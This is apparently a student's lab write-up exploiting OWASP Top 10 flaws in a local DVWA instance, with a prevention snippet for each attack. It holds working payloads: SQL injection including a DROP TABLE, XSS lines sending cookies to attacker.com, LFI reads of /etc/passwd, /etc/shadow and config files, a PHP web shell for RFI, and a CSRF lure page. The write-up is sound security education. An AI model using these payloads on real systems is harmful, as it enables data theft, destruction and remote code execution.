
Task 3 – Web Application Security

❖ Objective:

Identify and exploit OWASP Top 10 vulnerabilities in a controlled lab environment.

❖ Observation:

1. SQL Injection

- **Target:** DVWA › SQL Injection (Security: Low) - Inject UNION SELECT to dump all usernames & password hashes from the user's table.
- **Code:** `curl -s -b "PHPSESSID=YOUR_SESSION;security=low" \ "http://localhost/dvwa/vulnerabilities/sqli/?id=1'+UNION+SELECT+user,password +FROM+users--+&Submit=Submit" \ | grep -oP '(?<=<td>)[^<]+'`
- **browser URL:** `http://localhost/dvwa/vulnerabilities/sqli/?id=1' UNION SELECT user,password FROM users-- &Submit=Submit`
- **Payload file:**
`1' UNION SELECT user,password FROM users-- -
1' OR '1'='1
1' OR 1=1-- -
admin'-- -
1'; DROP TABLE users;-- -`
- **How it works**
 - [1] Closes the original query with '
 - [2] Appends UNION SELECT to fetch user's table
 - [3] -- - comments out the rest of original SQL
 - [4] Grep extracts data from HTML table cells
- **Prevention (PHP):**
`$stmt = $pdo->prepare( "SELECT * FROM users WHERE id=?" ); $stmt->execute([$id]);`

2. Cross-Site Scripting(XSS)

- **Target:** DVWA › XSS Reflected & Stored (Security: Low) — Inject script tags to pop alerts or exfiltrate cookies to an attacker-controlled server.
- **Code:**
 - [a] Reflected XSS (curl):
`curl -s -b "PHPSESSID=YOUR_SESSION;security=low" \ "http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>alert('XSS_Pwned') </script>&Submit=Submit" \ | grep -o "<script>.*</script>"`
 - [b] Stored XSS (curl):
`curl -s -X POST -b "PHPSESSID=YOUR_SESSION;security=low" \ --data "txtName=Hacker&mtxMessage=<script>document.location='http://attacker.co`

```
m/steal?c='+document.cookie</script>&btnSign=Sign+Guestbook" \
"http://localhost/dvwa/vulnerabilities/xss_s/"
```

→ **Payload file:**

```
<script>alert('XSS')</script>
<script>document.location='http://attacker.com/?c='+document.cookie</script>
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
"><script>alert(document.domain)</script>
```

→ **How it works**

- [1] Server reflects user input directly into HTML
- [2] Browser executes injected <script> tag
- [3] Stored XSS persists in DB — fires for every visitor
- [4] Cookie exfiltrated to attacker's server silently

→ **Prevention (PHP):**

```
echo htmlspecialchars( $input, ENT_QUOTES, 'UTF-8' );
header("Content-Security-Policy: default-src 'self'");
```

3. Cross-Site Request Forgery (CSRF)

→ **Target:** DVWA › CSRF (Security: Low) — Trick a logged-in user's browser into sending an unauthorized password-change request via a hidden image tag.

→ **Code:** curl -s -b "PHPSESSID=YOUR_SESSION;security=low" \
"http://localhost/dvwa/vulnerabilities/csrf/?password_new=hacked123&password_conf=hacked123&Change=Change"

→ **Generated HTML attack file:**

```
<!-- Open this in browser while victim is logged into DVWA -->
<html>
<body>
  <h1>You won a prize! Click below!</h1>
  <!-- Hidden CSRF payload fires automatically on page load -->
  
  <button>Claim Reward</button>
</body>
</html>
```

→ **How it works**

- [1] Victim is logged into DVWA (session cookie active)
- [2] Victim opens csrf_attack.html (attacker-hosted page)
- [3] Hidden fires GET request to DVWA automatically
- [4] Browser sends session cookie — password silently changed

→ **Prevention (PHP):**

```
$_SESSION['token'] = bin2hex( random_bytes(32) );
if ( $_POST['token'] !== $_SESSION['token'] ) { die("CSRF detected!"); }
```

4. File Inclusion Attacks

- **Target:** DVWA › File Inclusion (Security: Low) — Use path traversal to read sensitive server files (LFI) or include a remote PHP shell to execute commands (RFI).
- **Code:**
 - [a] LFI: read /etc/passwd
`curl -s -b "PHPSESSID=YOUR_SESSION;security=low" \`
`"http://localhost/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd" \ | grep "root"`
 - [b] LFI: extract DB password from config
`curl -s -b "PHPSESSID=YOUR_SESSION;security=low" \`
`"http://localhost/dvwa/vulnerabilities/fi/?page=../../config/config.inc.php" \ | grep -i "password"`
 - [c] RFI: host & execute remote PHP shell
#Start attacker PHP server (separate terminal)
`echo '<?php system($_GET["cmd"]); ?>' > shell.php && php -S 0.0.0.0:8888`
#Trigger RFI
`curl -s -b "PHPSESSID=YOUR_SESSION;security=low" \`
`"http://localhost/dvwa/vulnerabilities/fi/?page=http://127.0.0.1:8888/shell.php&cmd=whoami"`
- **Payload file:**
 - `../../../../etc/passwd`
 - `../../../../etc/shadow`
 - `../../../../var/log/apache2/access.log`
 - `../../config/config.inc.php`
 - `../../../../windows/system32/drivers/etc/hosts`
 - `http://attacker.com/shell.php?cmd=whoami (RFI)`
- **How it works**
 - [1] App passes user input directly to include()
 - [2] `../` traverses up out of web root
 - [3] LFI reads any readable server file
 - [4] RFI fetches & executes attacker's remote PHP code
- **Prevention (PHP):**
`$allowed = ['about.php','home.php']; if (in_array($page, $allowed)) {`
`include($page); } else { die("Access Denied"); } //php.ini: allow_url_include=Off`

5. Burp Suite Advanced

- **Target:** DVWA › Login and any form — use Burp Suite as a web proxy to intercept requests, modify parameters, and brute-force credentials with Intruder.
- **Setup:**
 - # Burp proxy listens on:
127.0.0.1:8080
 - # Firefox: Settings > Network > Manual proxy
 - # HTTP Proxy: 127.0.0.1 Port: 8080

Install Burp CA cert: `http://burp` → download CA → import in browser

→ **Step-by-step: brute-force DVWA login with Intruder**

Step 1 - Intercept

Turn Intercept ON in Burp Proxy. Submit DVWA login form. The POST request appears in Burp with username and password fields visible.

Step 2 - Send to Intruder

Right-click the intercepted request → "Send to Intruder". Go to Intruder tab → Positions. Clear all markers, then highlight the password value and click "Add §".

Step 3 - Load wordlist

Go to Payloads tab. Set Payload type = "Simple list". Load rockyou.txt or paste a short custom list. Attack type = Sniper.

Step 4 - Start Attack

Click "Start Attack". Sort results by Response Length or Status. The successful login returns a different length - that's the valid password.

→ **Code: intercept and modify request (curl through Burp proxy)**

```
curl -s -x http://127.0.0.1:8080 -X POST \-d
"username=admin&password=password&Login=Login" \-b
"PHPSESSID=YOUR_SESSION;security=low" \ "http://localhost/dvwa/login.php"
| grep -i "welcome"
```

→ **Code: fuzz parameters (Burp Repeater via curl)**

```
# Test each payload manually via Repeater curl -s -x http://127.0.0.1:8080 -b
"PHPSESSID=YOUR_SESSION;security=low" \
"http://localhost/dvwa/vulnerabilities/sqli/?id=FUZZ&Submit=Submit"
```

→ **Burp key:**

Proxy - intercept and modify live requests

Repeater - replay and tweak single requests

Intruder - automated fuzzing and brute-force

Decoder - encode/decode URL, Base64, HTML

→ **Mitigation:**

```
if ($attempts >= 5)
{
    lockout_account($user, 15min);
}
```

6. Web Security Headers

→ **Target:** DVWA Apache server - analyse missing security headers via securityheaders.com, then add them to Apache config to achieve an A grade.

→ **Configuration:**

[1] Analyse your DVWA site (before headers)

```
curl -s -I http://localhost/dvwa/ | grep -i "header|content|x-frame|strict|csp"
or
```

visit: <https://securityheaders.com/?q=localhost&followRedirects=on>

[+] Before vs after - header check

X-Frame-Options	Controls iframe embedding	Missing by default
Content-Security-Policy	Restricts resource origins	Missing by default
X-Content-Type-Options	Prevents MIME sniffing	Missing by default
Strict-Transport-Security	Forces HTTPS	Missing by default
Referrer-Policy	Controls referrer info	Missing by default
Permissions-Policy	Restricts browser features	Missing by default

[2] Add all headers to Apache (.htaccess or httpd.conf)

```
# Add to /etc/apache2/sites-available/000-default.conf
```

```
# OR create /var/www/html/dvwa/.htaccess
```

```
Header set X-Frame-Options "DENY"
```

```
Header set X-Content-Type-Options "nosniff"
```

```
Header set X-XSS-Protection "1; mode=block"
```

```
Header set Strict-Transport-Security "max-age=63072000;
includeSubDomains; preload" Header set Referrer-Policy "strict-origin-when-
cross-origin"
```

```
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src
'self' 'unsafe-inline'; img-src 'self' data:"
```

```
Header set Permissions-Policy "geolocation=(), microphone=(), camera=()"
```

[3] Enable mod_headers and restart Apache

```
sudo a2enmod headers sudo systemctl restart apache2 # Verify headers are
now present: curl -s -I http://localhost/dvwa/ | grep -i "x-frame\|content-
security\|strict\|referrer\|permissions"
```

❖ Conclusion:

The exploit OWASP Top 10 vulnerabilities was successfully configured. This task is ready to support subsequent penetration-testing exercise.

❖ Deliverables:

SQL_injection.png

XSS.reflected.png

XSS.stored.png

CSRF.png

File_Inclusion.png